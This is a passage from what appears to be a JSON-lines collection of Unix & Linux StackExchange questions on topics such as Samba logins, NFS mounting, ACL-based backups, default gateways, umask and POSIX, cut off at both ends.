Ubuntu so that when I login in one of these machines, the network be configured automatically with user home directory and permissions. Currently the network is working with Samba, and the login is typed when a try to access the server. So, what I need now is the login associated with workstations initial login prompt. Also, in Mac machines I want to automatically mount the network when I login. I will appreciate if someone provide me some resources and best practices to do such a thing."} {"_id": "23509", "title": "How to configure a catch-all CNAME on Ubuntu Linux using BIND 9", "text": "I'm trying to set up APE server on my local system. I'm using Ubuntu and BIND and I need to set up a catch-all `CNAME` record. What would be required for this?"} {"_id": "23506", "title": "Debian - Stripped down Automated Install Disc", "text": "I want to create a debian install disc that only installs the minimum software to get a web browser such as ice weasel to run in an x-windows environment. **Question: How can I make an stripped down automated install disc for Debian?** The other option is to use the automated install option and script removing unneeded software after install, but that seems like the wrong way to go."} {"_id": "23502", "title": "How to run Abinit via MPI?", "text": "I'm trying to run Abinit in parallel, since in sequential mode it takes too much time. I have followed all steps in the abinit tutorials to run it in parallel, and they say to use OpenMPI, but I couldn't manage to get it working (it just runs on one of my 8 cores). I also followed this tutorial, but it stills run on 1 core only Looking at the logs, I finally found something that could be the problem: > Your architecture is not able to handle 16, 8, 4 or 2-bytes FORTRAN file > record markers! > You cannot use ABINIT and MPI/IO. > MPI_ERROR_STRING: Unknown error. Please file a bug report. > ABINIT > application called MPI_Abort(MPI_COMM_WORLD, 13) - process 0 Googling doesn't help; my architecture should be able to run in parallel because I can run in parallel with the Windows version of abinit. What can I do to make it work?"} {"_id": "23501", "title": "Download using wget to a different directory than current directory", "text": "I need to use `wget` to download a file to the directory `/var/cache/foobar/` (so, as an example, if I download `stackexchange-site-list.txt`, it'd be downloaded to `/var/cache/foobar/stackexchange-site-list.txt`) Is this possible? `curl` would also be an option, but I'd prefer to not use `curl`, since it's not installed by default."} {"_id": "1178", "title": "Sometimes no sound in flash videos after boot?", "text": "Sometimes after I boot up the machine, I get no sound in flash videos. First I didn't know why it was happening, but as I read a few articles here and there, I found out it was because of my USB webcam (logitech) - ALSA was messing something up and didn't know how to handle sound drivers well (so they say). So one of the suggestions I found was to force the (in my case) `snd_hda_intel` module load before `snd_usb_audio` module during the boot process. I thought it worked, but after a while the same problem appeared again. If I just unplug the webcam from my computer, sound works perfectly on each boot, but I don't want to get down and insart the cam everytime I need it... Anyone have any suggestions what I should try to fix this?"} {"_id": "27615", "title": "Half of my software is gone; any way to recover?", "text": "I saw a nice program for managing pictures called gThumb. I decided to install it, but it uninstalled half of my programs and my theme altogether. I used Software Center to install it. Why would installing gThumb through Software Center mess up my PC? I'm using Debian 6.0.3 with Gnome. Even Software Center disappeared from the System menu in gnome panel. I retrieved it by `apt-get install software-center`, and I think it installed it completely, not by updating or installing missing packages. * * * **Edit** : I tried `apt-get -f install` and it didn't work. I checked for programs in package manager but they are not there. They are UNINSTALLED for sure. I reinstalled my system yesterday, so it's fresh now, but I would still like to know what happened."} {"_id": "27613", "title": "Where should I place a downloaded tarball?", "text": "I have downloaded the ChromePlus tarball and extracted it to my home directory. The extracted folder contains an executable that I can double-click to launch ChromePlus. So I assume I do not need to any extra things to install it. I'm new to Linux. Where should I place the ChromePlus directory? It's currently sitting on my home directory, and it does not look neat. After googling, I thought about `/bin/`, `/usr/bin`, `/usr/lib`. Where is the best place?"} {"_id": "144913", "title": "Upgrade a 32-bit RHEL installation to 64-bit", "text": "I recently encountered an issue where I had installed a 32-bit RHEL 6 server on a system with a 64-bit processor. I did some research and found that RHEL 6.0 has PAE enabled on 32-bit machines, which allows the user to use up to 64 GB of RAM in a 32-bit OS. However, RHEL 6 server 32-bit with PAE still has the limitation that a single process can only have a maximum address space of up to 4 GB. These details could be seen from here and here. So, I wish to upgrade my 32-bit installation of RHEL 6 server to a 64-bit installation. How could I do it without losing any of the data that is already present on the 32-bit machine?"} {"_id": "97939", "title": "Suse nVidia Driver Problems on 650M + Intel i915", "text": "Has anyone succesfully gotten the proprietary nVidia drivers to work on a system with a GT650M and an integrated Intel GPU? I don't need graphics switching, just the discrete GPU. (This is on a mid-2012 Retina MacBook Pro.) I've succesfully gotten the nVidia drivers working on a desktop with two GTX580s, but have had nothing but problems with the laptop. After installing, Suse boots do a tty interface with no desktop. lsmod shows the nvidia driver. rcxdm says that X is running, but that the displays died after ~0.3 seconds. I can roll back to nouveau, but that's the only thing that works. The only thing I've come up with is that the Intel GPU is interfering with the discrete GPU, though that is just a guess. Suggestions?"} {"_id": "97938", "title": "Oh-My-Zsh overriding my function?", "text": "I use ZSH with Oh My Zsh and I am trying to define a function called `git`, as such: function git() { echo \"I'm happy because I am executed!\" } I have placed the function definition in `$ZSH/custom/general.zsh`. Everything else in this file works (I have a bunch of aliases there) except this function. Running `which git` outputs: git () { case $1 in (commit|blame|add|log|rebase|merge) exec_scmb_expand_args \"$_git_cmd\" \"$@\" ;; (checkout|diff|rm|reset) exec_scmb_expand_args --relative \"$_git_cmd\" \"$@\" ;; (branch) _scmb_git_branch_shortcuts \"${@:2}\" ;; (*) \"$_git_cmd\" \"$@\" ;; esac } Removing `git` from `plugins=( ... )` didn't work. Trying to find this function in Oh My Zsh yielded no results. I read the source code of `oh-my-zsh.sh`, and it seems the `custom` directory is loaded after all of OMZ's files, so it didn't make any sense to me, that when I placed my function **at the bottom of** `.zshrc` it worked. Any Ideas on how to keep the function in the `custom` folder? I would like to keep things organized."} {"_id": "129231", "title": "What does \"${-#*i}\" != \"$-\" mean?", "text": "In `/etc/profile` I see this: for i in /etc/profile.d/*.sh ; do if [ -r \"$i\" ]; then if [ \"${-#*i}\" != \"$-\" ]; then . \"$i\" else . \"$i\" >/dev/null 2>&1 fi fi done What does `${-#*i}` mean. I cannot find a definition of a parameter expansion starting `${-`."} {"_id": "129237", "title": "AppArmor: make it ask me for decision to allow/disallow", "text": "I'm having fun writing AppArmor profile for firefox. I like to open downloaded files directly from firefox (by double-click on it), it is really convenient. But then firefox should have permissions to execute applications. Say, for opening pdf files, I should write: /usr/bin/evince rmix, And similar rule for opening images, archives, etc. But, I can't predict everything, so, one day firefox will be failed to open some file. I can write something like /usr/bin/* rmix, but I don't like that. The best solution to me is to explicitly allow most often used applications (such as `evince`, etc), but for all the rest let AppArmor to ask me interactively. It is better than just denying or allowing. Is that possible?"} {"_id": "129236", "title": "Systemd fails to start after removal of encrypted swap partition on Fedora 20", "text": "In order to resize my boot partition I had to recreate my swap partition. After this systemd does not seem to be able to start. ![screenshot of boot](http://i.stack.imgur.com/lx5Hg.jpg) I am new to Fedora/systemd and don't quite understand where I could tell systemd to ignore the now different UUID of the partition. What I already did is booting a RescueCD, chrooting into my system, commenting the appropriate line in /etc/crypttab and then recreating the initrd with `dracut --force --kver 3.14.3-200.fc20.x86_64` The screenshot shows the situation after these steps. **How do I get my system to boot properly again**?"} {"_id": "89370", "title": "Change date after SSH login in shell script", "text": "I have to change the date after an SSH login into machine, but I am not able to change it. Here is the script I have written: #!/bin/bash ENVIRONMENT_LIST=environment_ip_list USERNAME=root declare ENVIRONMENT_ARRAY mdate=\"$#\" readIp() { while read IP do ENVIRONMENT_ARRAY[$env_count]=\"$IP\" let env_count++ done < $ENVIRONMENT_LIST } change_date() { for ((i = 0; i < env_count; i++)) do ssh -t -t -o StrictHostKeyChecking=no $USERNAME@${ENVIRONMENT_ARRAY[i]} \"'date -s \"$1 $2 $3 $4\"'\" done } readIp change_date In a terminal, I get this output: ~/Desktop/changedate_script $ ./change.sh 04 SEP 2012 10:36:00 root@192.168.12.160's password: bash: date -s : command not found Connection to 192.168.12.160 closed."} {"_id": "97931", "title": "NFS Mounting Error", "text": "From ServerA I shared directory `/u001/app/oracle/FolderA` and trying to mount this on SeverB under `/media` Contents of ServerA `/etc/exports` file /u001/app/oracle/FolderA ServerB(rw,sync) When I try to mount it on ServerB I receive this message on ServerB mount: mount to NFS server 'ServerA' failed: timed out (retrying). mount: mount to NFS server 'ServerA' failed: timed out (retrying). mount: mount to NFS server 'ServerA' failed: timed out (retrying). mount: mount to NFS server 'ServerA' failed: timed out (retrying). mount: mount to NFS server 'ServerA' failed: timed out (giving up). `rpcinfo -P` output: program vers proto port 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 953 status 100024 1 tcp 956 status 100011 1 udp 924 rquotad 100011 2 udp 924 rquotad 100011 1 tcp 927 rquotad 100011 2 tcp 927 rquotad 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs 100003 4 udp 2049 nfs 100021 1 udp 13495 nlockmgr 100021 3 udp 13495 nlockmgr 100021 4 udp 13495 nlockmgr 100003 2 tcp 2049 nfs 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100021 1 tcp 15597 nlockmgr 100021 3 tcp 15597 nlockmgr 100021 4 tcp 15597 nlockmgr 100005 1 udp 938 mountd 100005 1 tcp 941 mountd 100005 2 udp 938 mountd 100005 2 tcp 941 mountd 100005 3 udp 938 mountd 100005 3 tcp 941 mountd `/var/log/messages`: Oct 28 17:16:21 kernel: nfsd: last server has exited Oct 28 17:16:21 kernel: nfsd: unexporting all filesystems Oct 28 17:16:22 kernel: NFSD: Using /var/lib/nfs/v4recovery as the NFSv4 state recovery directory Oct 28 17:16:22 kernel: NFSD: starting 90-second grace period Oct 28 17:17:28 mountd[4143]: Caught signal 15, un-registering and exiting. Oct 28 17:17:29 kernel: nfsd: last server has exited Oct 28 17:17:29 kernel: nfsd: unexporting all filesystems Oct 28 17:17:29 kernel: NFSD: Using /var/lib/nfs/v4recovery as the NFSv4 state recovery directory Oct 28 17:17:29 kernel: NFSD: starting 90-second grace period Oct 28 17:21:15 kernel: FS-Cache: Loaded Any help will be awesome......"} {"_id": "59033", "title": "How to remove all default gateways", "text": "I'm running a custom built linux machine, so **not all linux commands are available**. I execute network related commands, so I need to **set a default gateway** right before I run my command, then remove that gateway immediately afterward. To do that I run all my commands in one line: /sbin/route add default gw 10.10.10.10;my command;/sbin/route del default gw 10.10.10.10; The problem is, for some reason I once found 2 default gateways on the same machine which caused all my commands to fail because even if I set my default gateway before running my test, it is still messed up and can't run my test. So is there a way to **remove ALL default gateways in one command** ? I have a large amount of machines that are increasing and it won't be practical to plant a script on every machine. I need a command as **simple** as the following: /sbin/route del all default;set my default gw;mycommand;/sbin/route del all default; All I have found so far is a command to remove **a** default gateway but not all of them `/sbin/route del default` which won't work for me. `/sbin/route` help displays the following /sbin/route --help Usage: route [{add|del|delete}] Edit the kernel's routing tables Options: -n Dont resolve names -e Display other/more information -A inet Select address family Thank you."} {"_id": "59031", "title": "how to add a description in footer", "text": "I enjoy learning how to modify files with `awk`, `sed`, and bash. However, I know it could cause issues down the road and I would like to be prepared with a log _inside the file_. I was thinking about how I could create a log in the footer after I modify an `.html` file but I am unsure how or what the process is called. I would like to be able to do as follows: line break after the very last line of code comment tag **Example:**
This is before script
"} {"_id": "97935", "title": "the difference between /var/adm/btmp, /etc/btmp and var/log/btmp", "text": "I need to know that users are correctly managing their bad login attempts. But I don't know which of these files is keeping track of this information."} {"_id": "97937", "title": "ssh-agent defunct from the start", "text": "140 root 4029 3997 0 09:01 ? 00:00:00 \\_ /usr/sbin/gdm-binary -nodaemon 141 root 4034 4029 1 09:01 tty7 00:00:01 \\_ /usr/bin/Xorg :0 -br -audit 0 -auth /var/gdm/:0.Xauth -nolisten tcp vt7 142 myusername 4052 4029 0 09:01 ? 00:00:00 \\_ /usr/bin/gnome-session 143 myusername 4116 4052 0 09:01 ? 00:00:00 \\_ [ssh-agent] This is how it starts up; I've tried killing and restarting the gnome session and box, but this continues to happen, and the zombie process is blocking further connections on my auth. agent. I've got no clue what is causing this nor how to fix it. Any suggestions are welcome. This is on RHEL6."} {"_id": "11983", "title": "What exactly is POSIX?", "text": "I see POSIX mentioned often and everywhere, and I had assumed it to be the baseline UNIX standard.. until I noticed the following excerpt on a Wikipedia page: _The Open Group_ > The Open Group is most famous as the certifying body for the UNIX trademark, > and its publication of the _Single UNIX Specification technical standard_ , > **_which extends the POSIX standards and is the official definition of a > UNIX system_**. If the official definition of a UNIX system is an extension of POSIX, then what exactly is POSIX? ,,, It surely seems to be a touchstone of the UNIX world, but I don't know how it fits into the overall picture."} {"_id": "14867", "title": "What is Unix now?", "text": "As I read in Wikipedia, Unix started as a revolutionary operating system written mostly in C allowing it to be ported and used on different hardware. Descendants of Unix is mentioned next, mostly BSD. Clones of Unix, Minix/Linux are discussed as well. But what happened to the original Unix operating system? Does it exist as an operating system any more or is it nothing more than a standard like POSIX nowadays? Do note that I am aware of this answer but it has no mention of the fate of the original Unix beyond the derived works."} {"_id": "56011", "title": "Which Unix is considered the vanilla Unix and which Unix's are just Unix rather than Unix-like?", "text": "> **Possible Duplicate:** > What exactly is POSIX? > What is Unix now? Are they only the Unix\u2019s developed by Bell Labs or do the SCO ones count too? Are there others?"} {"_id": "65888", "title": "setfacl incorrectly changes group permissions", "text": "To backup the \"/home\" directory tree of a server, I've created a 'backup' account and used setfacl to make the whole directory readable by it. My cron job runs this command as root each night: setfacl -R -m u:backup:rx,d:u:backup:rx /home Great, except for one problem: whenever I run this command, it changes the group permissions of my ssh key. me@myserver:~/.ssh$ ls /home/me/.ssh/id_rsa -l -rw-r-x---+ 1 me me 1679 Jan 8 18:35 /home/me/.ssh/id_rsa Well, this causes my ssh program to barf because it is now group readable. Strangely, getfacl disagrees with the permissions. me@myserver:~/.ssh$ getfacl /home/me/.ssh/id_rsa getfacl: Removing leading '/' from absolute path names # file: home/me/.ssh/id_rsa # owner: me # group: me user::r-- user:backup:r-x group::--- mask::r-x other::--- getfacl thinks the file is not group readable. If I run the obvious command chmod 400 id_rsa the permission is fixed, but reverts every time I re-run the original command (setfacl -R -m u:backup:rx,d:u:backup:rx /home). What's going on? Note: I do want my id_rsa to backup up, so let's not worry about those security implications."} {"_id": "65889", "title": "How do I get rid of horizontal split in dwm", "text": "I started using `dwm` today and am trying to wrap my head around it, as `OpenBox` is my only other exposure to window managers. As suggested in the official tutorial, I first opened couple of terminals and they all got tiled, with the first terminal being pushed to left, which I understand is the master. I played with the default keybindings and opened and closed many windows and programs. I spent quite a bit of time trying to get what tags are and how to use them. After a while came back to tag 1 and see that the windows, though in tiled mode, somehow changed to a horizontal split like this: ![image showing dwm](http://i.stack.imgur.com/c6k5H.png) Any and all new windows are added horizontally. ![image showing dwm](http://i.stack.imgur.com/ahA1l.png) I don't see any specific keybinding for changing layout of existing windows (like in `tmux`). So, how can I get back the default tiling mode where master is on left and stacks are on right?"} {"_id": "12837", "title": "Making tcsh history isearch case-insensitive", "text": "How do I make tcsh's history isearch (ctrl-r) case insensitive? I tried \"set complete=igncase\" but that affects file completion, not history isearch."} {"_id": "12834", "title": "install rtorrent failed using yum install rtorrent in CentOS", "text": "I want to install `rtorrent` as a client (NOT SeedBox). I tried the following command: yum install rtorrent I get following message: Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: centos.mirror.iweb.ca * extras: centos.mirror.iweb.ca * updates: centos.mirror.netelligent.ca Excluding Packages in global exclude list Finished Setting up Install Process No package rtorrent available. Nothing to do I think it's because I do not have rtorrent at my repository. What should I do to add rtorrent to my repository? I tried `yum update` without any success."} {"_id": "65881", "title": "mint 14 mate: window manager doesn't work after reinstall mate-panel & mate-applets", "text": "After doing a sudo apt-get --purge remove mate-panel mate-applets and a sudo apt-get install mate-panel mate-applets for trying to get rid of a trayicon issue on my system, the mate window manager seems to be not working anymore. after login, I still get a gui, but only a terminal is running in there. Also no panel and menus are available. for this terminal and any other application I'll start, except chromium-browser (brings its own decoration), no window borders shown at all. when I start `mate-control-center`, following errors shown in term ** (mate-control-center:2116): WARNING **: error raised: [libslab_get_mateconf_value: error getting /desktop/mate/applications/main-menu/lock-down/user_modifiable_apps] ** (mate-control-center:2116): WARNING **: error raised: [load_xbel_store: couldn't load bookmark file [NULL] ** (mate-control-center:2116): WARNING **: get_actions_list() - PROBLEM - Can't load gtk-theme-selector.desktop ** (mate-control-center:2116): WARNING **: get_actions_list() - PROBLEM - Can't load mate-cups-manager.desktop temporary, a manual start of `mate-panel` & `marco` via console is my workaround to have the system used as good as normal. but I'd like to get the default windowmanager works as expected. I don't know which additional information I should provide at this point."} {"_id": "8547", "title": "Wireless in Debian Squeeze", "text": "I am trying to get wireless working a lenovo g560. I tried following the instructions on the debian site here http://wiki.debian.org/wl but it is not working. At step 7 I get an error that modprobe does not exist. Anybody know of a straightforward tutorial or got any tips?"} {"_id": "12838", "title": "Linux on pendrive? Which distro to use?", "text": "Terms regarding the OS: * Must be installed on pendrive * It must contain software for office use * Need to save files, GUI settings on it (auto) So I'm not searching for a LiveCD. What could be the best choice?"} {"_id": "65884", "title": "memory buffering in virtual machines", "text": "Is there any point to doing disk buffer caching in a virtual machine, if the hypervisor OS is doing it? I wonder if buffering in the VM will just waste memory that could be better allocated to VM use, or if data read will be buffered both in the hypervisor and in the guest OS. Or is there some system that automatically handles coordination of buffer cache between hypervisor and guest? Should I turn it off in the host machine, or in the VMs?"} {"_id": "65885", "title": "How can I change the umask for one command only?", "text": "How can I interactively execute a command in Linux (zsh, if it matters) with a different umask from the default, for one command only? Perhaps a combination of commands combined in a single line? The new umask should apply only to that command and return to its default value for the next command entered. Ideally the command would be agnostic to the default umask in force before its entered (in other words, the default umask doesn't have to specified)."} {"_id": "8543", "title": "apache symlinks and dokuwiki", "text": "I am running a dokuwiki on an apache webserver. Usually I put media files into the directory /var/lib/dokuwiki/data/media. However, to be more flexible and to save disk space, it would be nice to use symbolic links instead of copying files to that directory. Now my question is: How to make apache to follow symlinks in the directory /var/lib/dokuwiki/data/media."} {"_id": "133989", "title": "How to backup dir structure ignoring files & dirs without read permission", "text": "Any ideas how to back up a directory structure for which there are some files and/or directories for which you do not have permission to read? I'd like to just ignore those, without backup (tar? jar?) crashing."} {"_id": "74016", "title": "find is missing a result -- how is that possible?", "text": "What conditions explain this output: root@ip:/# find / -name \"server.xml\" -print /etc/tomcat7/server.xml root@ip:/# ls /var/lib/tomcat7/conf/server.xml /var/lib/tomcat7/conf/server.xml I am running this as root, and starting the find from the root directory. I don't understand why the file I show with the \"ls\" command isn't coming up in the results. ### Edit output of `mount`: /dev/xvda1 on / type ext4 (rw) proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) none on /sys/fs/fuse/connections type fusectl (rw) none on /sys/kernel/debug type debugfs (rw) none on /sys/kernel/security type securityfs (rw) udev on /dev type devtmpfs (rw,mode=0755) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620) tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755) none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880) none on /run/shm type tmpfs (rw,nosuid,nodev) And: root@ip:/# ls -la /var/lib/tomcat7/conf/ total 196 drwxr-xr-x 4 root root 4096 Apr 29 03:22 . drwxr-xr-x 95 root root 4096 Apr 29 04:23 .. drwxrwxr-x 3 root tomcat7 4096 Apr 29 03:22 Catalina -rw-r--r-- 1 root tomcat7 5586 Apr 1 20:32 catalina.properties -rw-r--r-- 1 root tomcat7 1394 Feb 25 2012 context.xml -rw-r--r-- 1 root tomcat7 2370 Jul 12 2012 logging.properties drwxr-xr-x 2 root tomcat7 4096 Apr 29 03:22 policy.d -rw-r--r-- 1 root tomcat7 6500 Apr 1 20:32 server.xml -rw-r----- 1 root tomcat7 1530 Feb 25 2012 tomcat-users.xml -rw-r--r-- 1 root tomcat7 152716 Feb 25 2012 web.xml And: root@ip-:/# ls -la /var/lib/tomcat7 total 24 drwxr-xr-x 6 root root 4096 Apr 29 03:22 . drwxr-xr-x 40 root root 4096 Apr 29 01:26 .. drwxr-xr-x 3 tomcat7 tomcat7 4096 Apr 29 03:22 common lrwxrwxrwx 1 root root 12 Apr 1 20:32 conf -> /etc/tomcat7 lrwxrwxrwx 1 root root 17 Apr 1 20:32 logs -> ../../log/tomcat7 drwxr-xr-x 3 tomcat7 tomcat7 4096 Apr 29 03:22 server drwxr-xr-x 3 tomcat7 tomcat7 4096 Apr 29 03:22 shared drwxrwxr-x 4 tomcat7 tomcat7 4096 Apr 29 04:20 webapps lrwxrwxrwx 1 root root 19 Apr 1 20:32 work -> ../../cache/tomcat7"} {"_id": "92265", "title": "Programmatically partition disk", "text": "I am attempting to create a bash script which will create a new partition with a file system on a disk with existing partition(s). It looks like it's easy to create partitions programmatically with parted, however it requires you to know where to start and stop the new partition, and this is where I am having trouble. I don't want to rely on the disk having partitions in particular position/size. That is, I want to create a new partition starting immediately after the last existing one. I want to be able to then create the partition either of a fixed size, or to fill remaining space. In Bash, is there a reliable way of determining a) the end position of the last partition, and b) the remaining unpartitioned space after the last partition?"} {"_id": "119043", "title": "How can I disable selection highlight auto-copying?", "text": "I've finally found myself at home in Linux, but there is still one thing that has bothered me since the start, and I have not found a realistic solution: **How do I disable the automatic copying of highlighted text in Linux's desktop environment** My Desktop Environment is XFCE, Window Manager is Openbox and it's all held together by Archlinux, I do however have these issues in other distributions. Every time I go to replace a section of text I: Highlight the source then press the usual Control-C I then select the text I want to replace and since highlighting text automatically copies it to the clipboard, manually reselect from clipman the selection I just copied, and paste it that way. This is very inefficient. I have resorted, out of desperation to using Windows for heavy editing of Source / Documents. I would prefer to have copy paste routine identical to that which Windows uses Select-Control+C-Select-Control+V. **edit** The problem was _my fault all along_! I had ignorantly pasted **autocutsel -selection PRIMARY -fork &** into my .xprofile, causing autocutsel to sync all my selections into the PRIMARY clipboard. For more info"} {"_id": "151384", "title": "Why -t release don't downgrade the package while package/release does?", "text": "When upgrading a package, `-t` or `\\--default-release` works wonder: \u279c ~ sudo apt-get install -t unstable libpam-gnome-keyring Reading package lists... Done Building dependency tree Reading state information... Done The following packages will be upgraded: libpam-gnome-keyring 1 upgraded, 0 newly installed, 0 to remove and 376 not upgraded. Need to get 284 kB of archives. After this operation, 22.5 kB disk space will be freed. (Reading database ... 268717 files and directories currently installed.) Preparing to unpack .../libpam-gnome-keyring_3.12.0-2_i386.deb ... Unpacking libpam-gnome-keyring (3.12.0-2) over (3.8.2-2+b1) ... Setting up libpam-gnome-keyring (3.12.0-2) ... But when I try to use it to downgrade it doesn't at all: \u279c ~ sudo apt-get install -t testing libpam-gnome-keyring Reading package lists... Done Building dependency tree Reading state information... Done libpam-gnome-keyring is already the newest version. ## Why??? libpam-gnome-keyring set to manually installed. 0 upgraded, 0 newly installed, 0 to remove and 25 not upgraded. The only way is to do it is using the `package/target_release` method: \u279c ~ sudo apt-get install libpam-gnome-keyring/testing Reading package lists... Done Building dependency tree Reading state information... Done Selected version '3.8.2-2+b1' (Debian:testing [i386]) for 'libpam-gnome-keyring' The following packages will be DOWNGRADED: libpam-gnome-keyring 0 upgraded, 0 newly installed, 1 downgraded, 0 to remove and 0 not upgraded. Need to get 272 kB of archives. After this operation, 22.5 kB of additional disk space will be used. Do you want to continue? [Y/n] y dpkg: warning: downgrading libpam-gnome-keyring from 3.12.0-2 to 3.8.2-2+b1 (Reading database ... 268716 files and directories currently installed.) Preparing to unpack .../libpam-gnome-keyring_3.8.2-2+b1_i386.deb ... Unpacking libpam-gnome-keyring (3.8.2-2+b1) over (3.12.0-2) ... Setting up libpam-gnome-keyring (3.8.2-2+b1) ... Why doesn't `-t` downgrade packages?"} {"_id": "66505", "title": "How to print find match as well as run an -exec", "text": "I was wanting to run a `find` and then execute a script on each match; however, I was wanting to print the name of the matched file above the output from each `exec`. How can I produce the following output: $ find . -name 'something' -exec sh script.sh {} \\; ./something_1 output from script.sh something_1 ./something_2 output from script.sh something_2 I am currently only getting the output from `script.sh`. I tried `-exec echo {} && sh script.sh {} \\;` with no success. I would prefer a solution using `-exec` or `xargs -print0`, i.e., not prone to problems with white space."} {"_id": "151386", "title": "Read target of symlink and increment target by one", "text": "I have a folder structure that looks like this /some/folder/1 /some/folder/2 ... and a symlink `current` that links to one of the folders. Is it possible and when how to read the target of the link, increment the name of the last folder and create a folder with that number, e.g. read the link that points to `/some/folder/2` so I know the last number is `2` and increment this number to create a new folder `/some/folder/3` to store new files? I already have a script that reads the target of the link, but I have no clue how to get the last part of the path (the number) and increment it by one."} {"_id": "151547", "title": "Linux: set date through command line", "text": "How to change the system date in Linux ? I want to change: * Only Year * Only Month * Only Date * Any combination of above three"} {"_id": "66500", "title": "lxc networking quesion", "text": "I have a similar requirement to the OP of this thread. I want the following configuration: > -Physical host (PhyHost) reachable from the network at IP 10.1.101.89 > -LXC container (LxcHost) reachable from the network at IP 10.1.101.95 > Each contactable from the other. OS = Ubuntu Server 12.04LTS PhyHost /etc/network/interfaces auto br0 iface br0 inet static address 10.1.101.89 netmask 255.255.255.0 broadcast 10.0.0.255 gateway 10.1.101.111 pre-up ifconfig eth0 down pre-up ifconfig eth0 0.0.0.0 promisc up pre-up brctl addbr br0 pre-up brctl addif br0 eth0 bridge_fd 9 bridge_hello 2 bridge_maxpage 12 bridge_stp off auto br0:1 address 10.1.101.95 netmask 255.255.255.0 gateway 10.1.101.111 iface eth0 inet manual pre-up ifconfig eth0 0.0.0.0 promisc up pre-up brctl addif br0 eth0 pre-down brctl delif br0 eth0 pre-down ifconfig eth0 down LxcHost /etc/network/interfaces auto eth0 iface eth0 inet static address 10.1.101.95 netmask 255.255.255.0 gateway 10.1.101.111 *I added some pre-up route add command here, being away from the system, I have forgotten what I used here* As it is here the LxcHost was completely isolated and couldn't contact any other host. I added some pre-up route add and post-down commands (hence the note above) that completely escape me right now, but these brought connectivity from LxcHost out to the network. Normally I'd wait till I had all the information correct before posting, but I'm pretty keen to get some suggestions and tips on best practice. lxc.conf used to create container lxc.network.type=veth lxc.network.link=br0:1 lxc.network.flags=up lxc.network.hwaddr= lxc.network.ipv4=10.1.101.95/24 The behaviour I get from this set up is that PhyHost is contactable from the network (ping, ssh etc) on 10.1.101.89. When I ssh to 10.1.101.95, I find myself logging into PhyHost also. LxcHost can reach the internet, and the network including PhyHost, all hosts (including PhyHost) communicate only with PhyHost at the address 10.1.101.95. Other issues that I've had to address: * No response to the second IP addess - solved by setting eth0 to promiscuous * No network connectivity from LxcHost to any - solved with pre-up route commands on LxcHost eth0."} {"_id": "66501", "title": "How to build a personnal cluster?", "text": "I have a debian server running some services (mail, web, git, mysql...). But it is alone, meaning that if it breaks, I have to repair it to access my services. I'd like to put a second server so that if the first one dies the second one is automatically ready to work. I don't want any of this servers to be a master and the other one a slave. The idea is to prevent hardware failure from any of the two servers. I found lots of info about how to create some big clusters, but I haven't found any thing that imply only two servers."} {"_id": "66503", "title": "How does gcc handle file permissions?", "text": "The executable files that `gcc` creates have execution permissions -rwxrwxr-x which are different than the permissions that the source file has. -rw-rw-r-- How does `gcc` set these permissions ?"} {"_id": "50412", "title": "Change currency format to generic number using sed", "text": "I am working on a large csv file with all coma separated entries. The entire document is composed of plain numbers, except for a few columns reflecting currencies that are formatted as text. For example, one such entry may look like `\"$12,345.67\"` and another one like `\"$1,234,567.89\"` (double quote symbols are also included as part of the entries). Here is an example of a full record (one single line) of data: 123,7,11,\"$343,700.14\",\"$34,928.63\",\"$377,000.00\",\"$15,421.92\",19,2 I would like to do some processing on this data file and therefore, I want to reformat such text fields to become plain numbers (i.e., getting rid of double quotes and comas). I think a regex pattern replacement with `sed` should do the job for me, but I am not sure what that regular expression looks like at all. Any idea would be much appreciated."} {"_id": "145430", "title": "How to change ssh log location from /var/log/secure to custom location in rhel 6?", "text": "By default in RHEL 6, SSH server logs are sent to `/var/log/secure`. I want to change this location to a custom one. Is it possible to do that? I have tried modifying the `rsyslog.conf` file, but it does not work."} {"_id": "145437", "title": "Is reading a youtube video only for sound possible in command line?", "text": "I would like to connect to YouTube and read a video only for audio with commands. Is that possible?"} {"_id": "101924", "title": "How can I change my username?", "text": "My current username is `mpatil`, how can I change that to `algo` without losing data or causing problems?"} {"_id": "145435", "title": "How do I remove Java from Mint 17?", "text": "I got a version of Java 7 lying in `/opt/java/jdk1.7.0_60/` That I don't seem to remember having installed myself. I want to replace it with OpenJDK 8, but I'm afraid I'll break something if I just `rm -rf` the path. What's the proper procedure to remove it? Note that it has `java` and `javac` etc. in `/usr/bin` which makes me even more cautious about the removal procedure."} {"_id": "55625", "title": "A unix command to truncate each line of a file", "text": "I have a CSV file and I want to truncate it from the third semicolon. For example, if I have this file: 1;foo;bar;baz;x;y;z 2;foo;bar;baz;x;y;z 3;foo;bar;baz;x;y;z I want to get the following output: 1;foo;bar 2;foo;bar 3;foo;bar I don't know what kind of Unix command I can use for that. What do you suggest? Note that this manipulation will be done on a KSH script."} {"_id": "55624", "title": "Limit stdout from a continuously running process", "text": "I haven't had much luck finding an answer to my problem, but maybe I'm not asking for it correctly. I have a process I startup like the following: `nohup ping 127.0.0.1 > log.txt >2>&1 &` Pretty simple command, send all the stdout to log.txt. Only problem is that the command I'm running sends data every nth second to log.txt. I'd like to output just one line to my log.txt file instead of appending it and running the risk of filling my drive up. Is there a way to just output one line to log.txt that continuously gets overwritten?"} {"_id": "149928", "title": "How simulate a Windows like admin password prompt in Linux?", "text": "I use `mint install` application a lot but don't think it is safe if I allow the normal user I use to have full privileges over it. I was wondering if there is a way to gain access to this application only when root password is entered. Basically be able to use something like the admin password prompt of windows when installing a new application in terminal. I know I can log into root with su but I know that's definitely not safe. Any Ideas? Edit: Again, I don't want to give privileges to the normal user using sudo or chmod or anything else."} {"_id": "52814", "title": "Flattening a nested directory", "text": "This is probably very simple, but I can't figure it out. I have a directory structure like this (dir2 is inside dir1): /dir1 /dir2 | --- file1 | --- file2 What is the best way to 'flatten' this director structure in such a way to get file1 and file2 in dir1 not dir2."} {"_id": "22678", "title": "What is the effect of deleting utility manufacturer partitions?", "text": "I am about to erase everything off of my hard drive and install Linux Mint I'm doing this on a Dell laptop, there is a Dell utility partition that I have never used... I have seen these on other laptops by other manufacturers as well. What 